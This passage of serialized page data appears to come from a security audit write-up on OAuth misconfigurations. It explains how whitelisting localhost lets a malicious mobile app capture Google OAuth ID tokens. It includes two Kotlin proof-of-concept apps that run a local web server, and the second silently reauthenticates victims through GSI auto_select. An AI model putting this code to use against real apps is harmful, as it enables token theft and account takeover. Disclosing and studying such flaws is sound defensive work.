different flow using ",{"type":21,"tag":66,"props":100529,"children":100531},{"className":100530},[],[100532],{"type":26,"value":70225},{"type":26,"value":100534}," validation. To execute this flow, you need to specify ",{"type":21,"tag":335,"props":100536,"children":100539},{"href":100537,"rel":100538},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[339],[100540],{"type":26,"value":100541},"login_uri",{"type":26,"value":100543}," while using the SDK.",{"type":21,"tag":10022,"props":100545,"children":100547},{"id":100546},"localhost-exploit",[100548],{"type":26,"value":100549},"Localhost Exploit",{"type":21,"tag":22,"props":100551,"children":100552},{},[100553,100555,100561],{"type":26,"value":100554},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":21,"tag":66,"props":100556,"children":100558},{"className":100557},[],[100559],{"type":26,"value":100560},"localhost",{"type":26,"value":100562}," origin because it is considered trusted for local testing.",{"type":21,"tag":22,"props":100564,"children":100565},{},[100566],{"type":26,"value":100567},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":21,"tag":19318,"props":100569,"children":100571},{"id":100570},"exploit",[100572],{"type":26,"value":100573},"Exploit",{"type":21,"tag":22,"props":100575,"children":100576},{},[100577,100579,100584,100585,100591],{"type":26,"value":100578},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":21,"tag":66,"props":100580,"children":100582},{"className":100581},[],[100583],{"type":26,"value":100441},{"type":26,"value":13551},{"type":21,"tag":66,"props":100586,"children":100588},{"className":100587},[],[100589],{"type":26,"value":100590},"location.search",{"type":26,"value":100592},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":21,"tag":75,"props":100594,"children":100598},{"className":100595,"code":100596,"language":100597,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.hash;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n","kt",[100599],{"type":21,"tag":66,"props":100600,"children":100601},{"__ignoreMap":7},[100602,100631,100650,100657,100664,100683,100694,100705,100736,100759,100806,100813,100820,100827,100834,100854,100885,100896,100903,100910,100929,100952,100963,100982,100997,101008,101031,101066,101085,101092,101103,101126,101137,101149,101156,101163,101170,101177,101184,101211],{"type":21,"tag":85,"props":100603,"children":100604},{"class":87,"line":88},[100605,100610,100614,100618,100622,100626],{"type":21,"tag":85,"props":100606,"children":100607},{"style":102},[100608],{"type":26,"value":100609}," override",{"type":21,"tag":85,"props":100611,"children":100612},{"style":102},[100613],{"type":26,"value":532},{"type":21,"tag":85,"props":100615,"children":100616},{"style":1021},[100617],{"type":26,"value":70913},{"type":21,"tag":85,"props":100619,"children":100620},{"style":114},[100621],{"type":26,"value":70918},{"type":21,"tag":85,"props":100623,"children":100624},{"style":108},[100625],{"type":26,"value":70923},{"type":21,"tag":85,"props":100627,"children":100628},{"style":114},[100629],{"type":26,"value":100630},"?){\n",{"type":21,"tag":85,"props":100632,"children":100633},{"class":87,"line":98},[100634,100638,100642,100646],{"type":21,"tag":85,"props":100635,"children":100636},{"style":102},[100637],{"type":26,"value":70936},{"type":21,"tag":85,"props":100639,"children":100640},{"style":114},[100641],{"type":26,"value":73},{"type":21,"tag":85,"props":100643,"children":100644},{"style":1021},[100645],{"type":26,"value":70945},{"type":21,"tag":85,"props":100647,"children":100648},{"style":114},[100649],{"type":26,"value":70950},{"type":21,"tag":85,"props":100651,"children":100652},{"class":87,"line":151},[100653],{"type":21,"tag":85,"props":100654,"children":100655},{"emptyLinePlaceholder":16},[100656],{"type":26,"value":703},{"type":21,"tag":85,"props":100658,"children":100659},{"class":87,"line":160},[100660],{"type":21,"tag":85,"props":100661,"children":100662},{"style":92},[100663],{"type":26,"value":70965},{"type":21,"tag":85,"props":100665,"children":100666},{"class":87,"line":185},[100667,100671,100675,100679],{"type":21,"tag":85,"props":100668,"children":100669},{"style":1021},[100670],{"type":26,"value":70973},{"type":21,"tag":85,"props":100672,"children":100673},{"style":114},[100674],{"type":26,"value":70978},{"type":21,"tag":85,"props":100676,"children":100677},{"style":1021},[100678],{"type":26,"value":70983},{"type":21,"tag":85,"props":100680,"children":100681},{"style":114},[100682],{"type":26,"value":148},{"type":21,"tag":85,"props":100684,"children":100685},{"class":87,"line":501},[100686,100690],{"type":21,"tag":85,"props":100687,"children":100688},{"style":2885},[100689],{"type":26,"value":70995},{"type":21,"tag":85,"props":100691,"children":100692},{"style":114},[100693],{"type":26,"value":148},{"type":21,"tag":85,"props":100695,"children":100696},{"class":87,"line":697},[100697,100701],{"type":21,"tag":85,"props":100698,"children":100699},{"style":1021},[100700],{"type":26,"value":71007},{"type":21,"tag":85,"props":100702,"children":100703},{"style":114},[100704],{"type":26,"value":2086},{"type":21,"tag":85,"props":100706,"children":100707},{"class":87,"line":706},[100708,100712,100716,100720,100724,100728,100732],{"type":21,"tag":85,"props":100709,"children":100710},{"style":114},[100711],{"type":26,"value":71019},{"type":21,"tag":85,"props":100713,"children":100714},{"style":1021},[100715],{"type":26,"value":71024},{"type":21,"tag":85,"props":100717,"children":100718},{"style":114},[100719],{"type":26,"value":1439},{"type":21,"tag":85,"props":100721,"children":100722},{"style":5026},[100723],{"type":26,"value":71033},{"type":21,"tag":85,"props":100725,"children":100726},{"style":114},[100727],{"type":26,"value":256},{"type":21,"tag":85,"props":100729,"children":100730},{"style":5026},[100731],{"type":26,"value":71042},{"type":21,"tag":85,"props":100733,"children":100734},{"style":114},[100735],{"type":26,"value":2485},{"type":21,"tag":85,"props":100737,"children":100738},{"class":87,"line":1100},[100739,100743,100747,100751,100755],{"type":21,"tag":85,"props":100740,"children":100741},{"style":114},[100742],{"type":26,"value":71054},{"type":21,"tag":85,"props":100744,"children":100745},{"style":102},[100746],{"type":26,"value":48866},{"type":21,"tag":85,"props":100748,"children":100749},{"style":114},[100750],{"type":26,"value":71063},{"type":21,"tag":85,"props":100752,"children":100753},{"style":108},[100754],{"type":26,"value":71068},{"type":21,"tag":85,"props":100756,"children":100757},{"style":114},[100758],{"type":26,"value":15222},{"type":21,"tag":85,"props":100760,"children":100761},{"class":87,"line":1339},[100762,100766,100770,100774,100778,100782,100786,100790,100794,100798,100802],{"type":21,"tag":85,"props":100763,"children":100764},{"style":114},[100765],{"type":26,"value":71019},{"type":21,"tag":85,"props":100767,"children":100768},{"style":1021},[100769],{"type":26,"value":51910},{"type":21,"tag":85,"props":100771,"children":100772},{"style":114},[100773],{"type":26,"value":1439},{"type":21,"tag":85,"props":100775,"children":100776},{"style":5026},[100777],{"type":26,"value":71033},{"type":21,"tag":85,"props":100779,"children":100780},{"style":114},[100781],{"type":26,"value":256},{"type":21,"tag":85,"props":100783,"children":100784},{"style":5026},[100785],{"type":26,"value":71100},{"type":21,"tag":85,"props":100787,"children":100788},{"style":102},[100789],{"type":26,"value":34555},{"type":21,"tag":85,"props":100791,"children":100792},{"style":169},[100793],{"type":26,"value":71109},{"type":21,"tag":85,"props":100795,"children":100796},{"style":102},[100797],{"type":26,"value":34587},{"type":21,"tag":85,"props":100799,"children":100800},{"style":5026},[100801],{"type":26,"value":20487},{"type":21,"tag":85,"props":100803,"children":100804},{"style":114},[100805],{"type":26,"value":71122},{"type":21,"tag":85,"props":100807,"children":100808},{"class":87,"line":1348},[100809],{"type":21,"tag":85,"props":100810,"children":100811},{"style":114},[100812],{"type":26,"value":59342},{"type":21,"tag":85,"props":100814,"children":100815},{"class":87,"line":1386},[100816],{"type":21,"tag":85,"props":100817,"children":100818},{"style":114},[100819],{"type":26,"value":4118},{"type":21,"tag":85,"props":100821,"children":100822},{"class":87,"line":1394},[100823],{"type":21,"tag":85,"props":100824,"children":100825},{"emptyLinePlaceholder":16},[100826],{"type":26,"value":703},{"type":21,"tag":85,"props":100828,"children":100829},{"class":87,"line":1402},[100830],{"type":21,"tag":85,"props":100831,"children":100832},{"style":92},[100833],{"type":26,"value":71151},{"type":21,"tag":85,"props":100835,"children":100836},{"class":87,"line":3145},[100837,100841,100845,100849],{"type":21,"tag":85,"props":100838,"children":100839},{"style":102},[100840],{"type":26,"value":71159},{"type":21,"tag":85,"props":100842,"children":100843},{"style":114},[100844],{"type":26,"value":71164},{"type":21,"tag":85,"props":100846,"children":100847},{"style":169},[100848],{"type":26,"value":741},{"type":21,"tag":85,"props":100850,"children":100851},{"style":5026},[100852],{"type":26,"value":100853}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":21,"tag":85,"props":100855,"children":100856},{"class":87,"line":3246},[100857,100861,100865,100869,100873,100877,100881],{"type":21,"tag":85,"props":100858,"children":100859},{"style":102},[100860],{"type":26,"value":71159},{"type":21,"tag":85,"props":100862,"children":100863},{"style":114},[100864],{"type":26,"value":71185},{"type":21,"tag":85,"props":100866,"children":100867},{"style":169},[100868],{"type":26,"value":741},{"type":21,"tag":85,"props":100870,"children":100871},{"style":1021},[100872],{"type":26,"value":71194},{"type":21,"tag":85,"props":100874,"children":100875},{"style":114},[100876],{"type":26,"value":71199},{"type":21,"tag":85,"props":100878,"children":100879},{"style":1021},[100880],{"type":26,"value":39660},{"type":21,"tag":85,"props":100882,"children":100883},{"style":114},[100884],{"type":26,"value":71208},{"type":21,"tag":85,"props":100886,"children":100887},{"class":87,"line":3255},[100888,100892],{"type":21,"tag":85,"props":100889,"children":100890},{"style":1021},[100891],{"type":26,"value":71216},{"type":21,"tag":85,"props":100893,"children":100894},{"style":114},[100895],{"type":26,"value":71221},{"type":21,"tag":85,"props":100897,"children":100898},{"class":87,"line":3286},[100899],{"type":21,"tag":85,"props":100900,"children":100901},{"style":114},[100902],{"type":26,"value":507},{"type":21,"tag":85,"props":100904,"children":100905},{"class":87,"line":3295},[100906],{"type":21,"tag":85,"props":100907,"children":100908},{"emptyLinePlaceholder":16},[100909],{"type":26,"value":703},{"type":21,"tag":85,"props":100911,"children":100912},{"class":87,"line":3308},[100913,100917,100921,100925],{"type":21,"tag":85,"props":100914,"children":100915},{"style":102},[100916],{"type":26,"value":71243},{"type":21,"tag":85,"props":100918,"children":100919},{"style":102},[100920],{"type":26,"value":532},{"type":21,"tag":85,"props":100922,"children":100923},{"style":1021},[100924],{"type":26,"value":71252},{"type":21,"tag":85,"props":100926,"children":100927},{"style":114},[100928],{"type":26,"value":16156},{"type":21,"tag":85,"props":100930,"children":100931},{"class":87,"line":3333},[100932,100936,100940,100944,100948],{"type":21,"tag":85,"props":100933,"children":100934},{"style":1021},[100935],{"type":26,"value":71264},{"type":21,"tag":85,"props":100937,"children":100938},{"style":114},[100939],{"type":26,"value":71269},{"type":21,"tag":85,"props":100941,"children":100942},{"style":169},[100943],{"type":26,"value":741},{"type":21,"tag":85,"props":100945,"children":100946},{"style":2285},[100947],{"type":26,"value":71278},{"type":21,"tag":85,"props":100949,"children":100950},{"style":114},[100951],{"type":26,"value":15222},{"type":21,"tag":85,"props":100953,"children":100954},{"class":87,"line":3369},[100955,100959],{"type":21,"tag":85,"props":100956,"children":100957},{"style":1021},[100958],{"type":26,"value":71290},{"type":21,"tag":85,"props":100960,"children":100961},{"style":114},[100962],{"type":26,"value":148},{"type":21,"tag":85,"props":100964,"children":100965},{"class":87,"line":3377},[100966,100970,100974,100978],{"type":21,"tag":85,"props":100967,"children":100968},{"style":102},[100969],{"type":26,"value":71302},{"type":21,"tag":85,"props":100971,"children":100972},{"style":114},[100973],{"type":26,"value":1439},{"type":21,"tag":85,"props":100975,"children":100976},{"style":5026},[100977],{"type":26,"value":71311},{"type":21,"tag":85,"props":100979,"children":100980},{"style":114},[100981],{"type":26,"value":15222},{"type":21,"tag":85,"props":100983,"children":100984},{"class":87,"line":3386},[100985,100989,100993],{"type":21,"tag":85,"props":100986,"children":100987},{"style":114},[100988],{"type":26,"value":71323},{"type":21,"tag":85,"props":100990,"children":100991},{"style":1021},[100992],{"type":26,"value":71328},{"type":21,"tag":85,"props":100994,"children":100995},{"style":114},[100996],{"type":26,"value":148},{"type":21,"tag":85,"props":100998,"children":100999},{"class":87,"line":3394},[101000,101004],{"type":21,"tag":85,"props":101001,"children":101002},{"style":1021},[101003],{"type":26,"value":71340},{"type":21,"tag":85,"props":101005,"children":101006},{"style":114},[101007],{"type":26,"value":148},{"type":21,"tag":85,"props":101009,"children":101010},{"class":87,"line":3410},[101011,101015,101019,101023,101027],{"type":21,"tag":85,"props":101012,"children":101013},{"style":1021},[101014],{"type":26,"value":71352},{"type":21,"tag":85,"props":101016,"children":101017},{"style":114},[101018],{"type":26,"value":71357},{"type":21,"tag":85,"props":101020,"children":101021},{"style":169},[101022],{"type":26,"value":741},{"type":21,"tag":85,"props":101024,"children":101025},{"style":5026},[101026],{"type":26,"value":71366},{"type":21,"tag":85,"props":101028,"children":101029},{"style":114},[101030],{"type":26,"value":2485},{"type":21,"tag":85,"props":101032,"children":101033},{"class":87,"line":3427},[101034,101038,101042,101046,101050,101054,101058,101062],{"type":21,"tag":85,"props":101035,"children":101036},{"style":1021},[101037],{"type":26,"value":71352},{"type":21,"tag":85,"props":101039,"children":101040},{"style":114},[101041],{"type":26,"value":71382},{"type":21,"tag":85,"props":101043,"children":101044},{"style":169},[101045],{"type":26,"value":741},{"type":21,"tag":85,"props":101047,"children":101048},{"style":5026},[101049],{"type":26,"value":71391},{"type":21,"tag":85,"props":101051,"children":101052},{"style":114},[101053],{"type":26,"value":71396},{"type":21,"tag":85,"props":101055,"children":101056},{"style":169},[101057],{"type":26,"value":741},{"type":21,"tag":85,"props":101059,"children":101060},{"style":5026},[101061],{"type":26,"value":71405},{"type":21,"tag":85,"props":101063,"children":101064},{"style":114},[101065],{"type":26,"value":2485},{"type":21,"tag":85,"props":101067,"children":101068},{"class":87,"line":3445},[101069,101073,101077,101081],{"type":21,"tag":85,"props":101070,"children":101071},{"style":1021},[101072],{"type":26,"value":71417},{"type":21,"tag":85,"props":101074,"children":101075},{"style":114},[101076],{"type":26,"value":1439},{"type":21,"tag":85,"props":101078,"children":101079},{"style":5026},[101080],{"type":26,"value":71426},{"type":21,"tag":85,"props":101082,"children":101083},{"style":114},[101084],{"type":26,"value":2485},{"type":21,"tag":85,"props":101086,"children":101087},{"class":87,"line":3490},[101088],{"type":21,"tag":85,"props":101089,"children":101090},{"style":114},[101091],{"type":26,"value":71438},{"type":21,"tag":85,"props":101093,"children":101094},{"class":87,"line":3596},[101095,101099],{"type":21,"tag":85,"props":101096,"children":101097},{"style":1021},[101098],{"type":26,"value":71446},{"type":21,"tag":85,"props":101100,"children":101101},{"style":114},[101102],{"type":26,"value":148},{"type":21,"tag":85,"props":101104,"children":101105},{"class":87,"line":23938},[101106,101110,101114,101118,101122],{"type":21,"tag":85,"props":101107,"children":101108},{"style":1021},[101109],{"type":26,"value":71458},{"type":21,"tag":85,"props":101111,"children":101112},{"style":114},[101113],{"type":26,"value":9999},{"type":21,"tag":85,"props":101115,"children":101116},{"style":169},[101117],{"type":26,"value":5151},{"type":21,"tag":85,"props":101119,"children":101120},{"style":5026},[101121],{"type":26,"value":71471},{"type":21,"tag":85,"props":101123,"children":101124},{"style":114},[101125],{"type":26,"value":10009},{"type":21,"tag":85,"props":101127,"children":101128},{"class":87,"line":23973},[101129,101133],{"type":21,"tag":85,"props":101130,"children":101131},{"style":1021},[101132],{"type":26,"value":71483},{"type":21,"tag":85,"props":101134,"children":101135},{"style":114},[101136],{"type":26,"value":148},{"type":21,"tag":85,"props":101138,"children":101139},{"class":87,"line":23981},[101140,101144],{"type":21,"tag":85,"props":101141,"children":101142},{"style":169},[101143],{"type":26,"value":71495},{"type":21,"tag":85,"props":101145,"children":101146},{"style":5026},[101147],{"type":26,"value":101148},"\"document.body.innerText = location.hash;\"\n",{"type":21,"tag":85,"props":101150,"children":101151},{"class":87,"line":23989},[101152],{"type":21,"tag":85,"props":101153,"children":101154},{"style":114},[101155],{"type":26,"value":71508},{"type":21,"tag":85,"props":101157,"children":101158},{"class":87,"line":23998},[101159],{"type":21,"tag":85,"props":101160,"children":101161},{"style":114},[101162],{"type":26,"value":71438},{"type":21,"tag":85,"props":101164,"children":101165},{"class":87,"line":24040},[101166],{"type":21,"tag":85,"props":101167,"children":101168},{"style":114},[101169],{"type":26,"value":71523},{"type":21,"tag":85,"props":101171,"children":101172},{"class":87,"line":24073},[101173],{"type":21,"tag":85,"props":101174,"children":101175},{"style":114},[101176],{"type":26,"value":71531},{"type":21,"tag":85,"props":101178,"children":101179},{"class":87,"line":24081},[101180],{"type":21,"tag":85,"props":101181,"children":101182},{"style":114},[101183],{"type":26,"value":59342},{"type":21,"tag":85,"props":101185,"children":101186},{"class":87,"line":24089},[101187,101191,101195,101199,101203,101207],{"type":21,"tag":85,"props":101188,"children":101189},{"style":114},[101190],{"type":26,"value":71546},{"type":21,"tag":85,"props":101192,"children":101193},{"style":1021},[101194],{"type":26,"value":71551},{"type":21,"tag":85,"props":101196,"children":101197},{"style":114},[101198],{"type":26,"value":71556},{"type":21,"tag":85,"props":101200,"children":101201},{"style":169},[101202],{"type":26,"value":741},{"type":21,"tag":85,"props":101204,"children":101205},{"style":102},[101206],{"type":26,"value":12886},{"type":21,"tag":85,"props":101208,"children":101209},{"style":114},[101210],{"type":26,"value":2485},{"type":21,"tag":85,"props":101212,"children":101213},{"class":87,"line":24098},[101214],{"type":21,"tag":85,"props":101215,"children":101216},{"style":114},[101217],{"type":26,"value":507},{"type":21,"tag":22,"props":101219,"children":101220},{},[101221],{"type":26,"value":101222},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":21,"tag":22,"props":101224,"children":101225},{},[101226,101228,101234],{"type":26,"value":101227},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":21,"tag":66,"props":101229,"children":101231},{"className":101230},[],[101232],{"type":26,"value":101233},"auto_select",{"type":26,"value":101235}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":21,"tag":75,"props":101237,"children":101239},{"className":100595,"code":101238,"language":100597,"meta":7,"style":7},"    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            title(\"Test\")\n                            script {\n                                src = \"https://accounts.google.com/gsi/client\"\n                                attributes[\"async\"] = \"\"\n                                attributes[\"defer\"] = \"\"\n                            }\n                            script {\n                                unsafe {\n                                    +\"\"\"\n    function handleCredentialResponse(response) {\n      alert(\"credential: \" + response.credential);\n    }\n\n    window.onload = async function () {\n      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n      const client_id = oauth_url.searchParams.get(\"client_id\");\n      google.accounts.id.initialize({\n        client_id: client_id,\n        callback: handleCredentialResponse,\n        auto_select: true\n      });\n\n      google.accounts.id.renderButton(\n        document.getElementById(\"g_id_signin\"),\n        { theme: \"outline\", size: \"large\" }\n      );\n\n      google.accounts.id.prompt();\n    };\n                                    \"\"\".trimIndent()\n                                }\n                            }\n                        }\n                        body {\n                            h1 { +\"Login here:\" }\n                            div {\n                                id = \"g_id_signin\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n",[101240],{"type":21,"tag":66,"props":101241,"children":101242},{"__ignoreMap":7},[101243,101270,101289,101296,101315,101326,101337,101368,101391,101438,101445,101452,101459,101499,101510,101517,101524,101543,101566,101577,101596,101611,101622,101642,101653,101670,101696,101720,101727,101738,101750,101763,101771,101779,101786,101793,101801,101809,101817,101825,101833,101841,101849,101856,101863,101871,101879,101887,101894,101901,101909,101916,101937,101945,101952,101959,101970,101994,102006,102023,102030,102037,102045,102053,102061,102089],{"type":21,"tag":85,"props":101244,"children":101245},{"class":87,"line":88},[101246,101250,101254,101258,101262,101266],{"type":21,"tag":85,"props":101247,"children":101248},{"style":102},[101249],{"type":26,"value":70904},{"type":21,"tag":85,"props":101251,"children":101252},{"style":102},[101253],{"type":26,"value":532},{"type":21,"tag":85,"props":101255,"children":101256},{"style":1021},[101257],{"type":26,"value":70913},{"type":21,"tag":85,"props":101259,"children":101260},{"style":114},[101261],{"type":26,"value":70918},{"type":21,"tag":85,"props":101263,"children":101264},{"style":108},[101265],{"type":26,"value":70923},{"type":21,"tag":85,"props":101267,"children":101268},{"style":114},[101269],{"type":26,"value":70928},{"type":21,"tag":85,"props":101271,"children":101272},{"class":87,"line":98},[101273,101277,101281,101285],{"type":21,"tag":85,"props":101274,"children":101275},{"style":102},[101276],{"type":26,"value":70936},{"type":21,"tag":85,"props":101278,"children":101279},{"style":114},[101280],{"type":26,"value":73},{"type":21,"tag":85,"props":101282,"children":101283},{"style":1021},[101284],{"type":26,"value":70945},{"type":21,"tag":85,"props":101286,"children":101287},{"style":114},[101288],{"type":26,"value":70950},{"type":21,"tag":85,"props":101290,"children":101291},{"class":87,"line":151},[101292],{"type":21,"tag":85,"props":101293,"children":101294},{"emptyLinePlaceholder":16},[101295],{"type":26,"value":703},{"type":21,"tag":85,"props":101297,"children":101298},{"class":87,"line":160},[101299,101303,101307,101311],{"type":21,"tag":85,"props":101300,"children":101301},{"style":1021},[101302],{"type":26,"value":70973},{"type":21,"tag":85,"props":101304,"children":101305},{"style":114},[101306],{"type":26,"value":70978},{"type":21,"tag":85,"props":101308,"children":101309},{"style":1021},[101310],{"type":26,"value":70983},{"type":21,"tag":85,"props":101312,"children":101313},{"style":114},[101314],{"type":26,"value":148},{"type":21,"tag":85,"props":101316,"children":101317},{"class":87,"line":185},[101318,101322],{"type":21,"tag":85,"props":101319,"children":101320},{"style":2885},[101321],{"type":26,"value":70995},{"type":21,"tag":85,"props":101323,"children":101324},{"style":114},[101325],{"type":26,"value":148},{"type":21,"tag":85,"props":101327,"children":101328},{"class":87,"line":501},[101329,101333],{"type":21,"tag":85,"props":101330,"children":101331},{"style":1021},[101332],{"type":26,"value":71007},{"type":21,"tag":85,"props":101334,"children":101335},{"style":114},[101336],{"type":26,"value":2086},{"type":21,"tag":85,"props":101338,"children":101339},{"class":87,"line":697},[101340,101344,101348,101352,101356,101360,101364],{"type":21,"tag":85,"props":101341,"children":101342},{"style":114},[101343],{"type":26,"value":71019},{"type":21,"tag":85,"props":101345,"children":101346},{"style":1021},[101347],{"type":26,"value":71024},{"type":21,"tag":85,"props":101349,"children":101350},{"style":114},[101351],{"type":26,"value":1439},{"type":21,"tag":85,"props":101353,"children":101354},{"style":5026},[101355],{"type":26,"value":71033},{"type":21,"tag":85,"props":101357,"children":101358},{"style":114},[101359],{"type":26,"value":256},{"type":21,"tag":85,"props":101361,"children":101362},{"style":5026},[101363],{"type":26,"value":71042},{"type":21,"tag":85,"props":101365,"children":101366},{"style":114},[101367],{"type":26,"value":2485},{"type":21,"tag":85,"props":101369,"children":101370},{"class":87,"line":706},[101371,101375,101379,101383,101387],{"type":21,"tag":85,"props":101372,"children":101373},{"style":114},[101374],{"type":26,"value":71054},{"type":21,"tag":85,"props":101376,"children":101377},{"style":102},[101378],{"type":26,"value":48866},{"type":21,"tag":85,"props":101380,"children":101381},{"style":114},[101382],{"type":26,"value":71063},{"type":21,"tag":85,"props":101384,"children":101385},{"style":108},[101386],{"type":26,"value":71068},{"type":21,"tag":85,"props":101388,"children":101389},{"style":114},[101390],{"type":26,"value":15222},{"type":21,"tag":85,"props":101392,"children":101393},{"class":87,"line":1100},[101394,101398,101402,101406,101410,101414,101418,101422,101426,101430,101434],{"type":21,"tag":85,"props":101395,"children":101396},{"style":114},[101397],{"type":26,"value":71019},{"type":21,"tag":85,"props":101399,"children":101400},{"style":1021},[101401],{"type":26,"value":51910},{"type":21,"tag":85,"props":101403,"children":101404},{"style":114},[101405],{"type":26,"value":1439},{"type":21,"tag":85,"props":101407,"children":101408},{"style":5026},[101409],{"type":26,"value":71033},{"type":21,"tag":85,"props":101411,"children":101412},{"style":114},[101413],{"type":26,"value":256},{"type":21,"tag":85,"props":101415,"children":101416},{"style":5026},[101417],{"type":26,"value":71100},{"type":21,"tag":85,"props":101419,"children":101420},{"style":102},[101421],{"type":26,"value":34555},{"type":21,"tag":85,"props":101423,"children":101424},{"style":169},[101425],{"type":26,"value":71109},{"type":21,"tag":85,"props":101427,"children":101428},{"style":102},[101429],{"type":26,"value":34587},{"type":21,"tag":85,"props":101431,"children":101432},{"style":5026},[101433],{"type":26,"value":20487},{"type":21,"tag":85,"props":101435,"children":101436},{"style":114},[101437],{"type":26,"value":71122},{"type":21,"tag":85,"props":101439,"children":101440},{"class":87,"line":1339},[101441],{"type":21,"tag":85,"props":101442,"children":101443},{"style":114},[101444],{"type":26,"value":59342},{"type":21,"tag":85,"props":101446,"children":101447},{"class":87,"line":1348},[101448],{"type":21,"tag":85,"props":101449,"children":101450},{"style":114},[101451],{"type":26,"value":4118},{"type":21,"tag":85,"props":101453,"children":101454},{"class":87,"line":1386},[101455],{"type":21,"tag":85,"props":101456,"children":101457},{"emptyLinePlaceholder":16},[101458],{"type":26,"value":703},{"type":21,"tag":85,"props":101460,"children":101461},{"class":87,"line":1394},[101462,101466,101470,101474,101478,101482,101486,101490,101495],{"type":21,"tag":85,"props":101463,"children":101464},{"style":102},[101465],{"type":26,"value":71159},{"type":21,"tag":85,"props":101467,"children":101468},{"style":114},[101469],{"type":26,"value":71185},{"type":21,"tag":85,"props":101471,"children":101472},{"style":169},[101473],{"type":26,"value":741},{"type":21,"tag":85,"props":101475,"children":101476},{"style":1021},[101477],{"type":26,"value":71194},{"type":21,"tag":85,"props":101479,"children":101480},{"style":114},[101481],{"type":26,"value":71199},{"type":21,"tag":85,"props":101483,"children":101484},{"style":1021},[101485],{"type":26,"value":39660},{"type":21,"tag":85,"props":101487,"children":101488},{"style":114},[101489],{"type":26,"value":1439},{"type":21,"tag":85,"props":101491,"children":101492},{"style":5026},[101493],{"type":26,"value":101494},"\"http://localhost:3000\"",{"type":21,"tag":85,"props":101496,"children":101497},{"style":114},[101498],{"type":26,"value":20139},{"type":21,"tag":85,"props":101500,"children":101501},{"class":87,"line":1402},[101502,101506],{"type":21,"tag":85,"props":101503,"children":101504},{"style":1021},[101505],{"type":26,"value":71216},{"type":21,"tag":85,"props":101507,"children":101508},{"style":114},[101509],{"type":26,"value":71221},{"type":21,"tag":85,"props":101511,"children":101512},{"class":87,"line":3145},[101513],{"type":21,"tag":85,"props":101514,"children":101515},{"style":114},[101516],{"type":26,"value":507},{"type":21,"tag":85,"props":101518,"children":101519},{"class":87,"line":3246},[101520],{"type":21,"tag":85,"props":101521,"children":101522},{"emptyLinePlaceholder":16},[101523],{"type":26,"value":703},{"type":21,"tag":85,"props":101525,"children":101526},{"class":87,"line":3255},[101527,101531,101535,101539],{"type":21,"tag":85,"props":101528,"children":101529},{"style":102},[101530],{"type":26,"value":71243},{"type":21,"tag":85,"props":101532,"children":101533},{"style":102}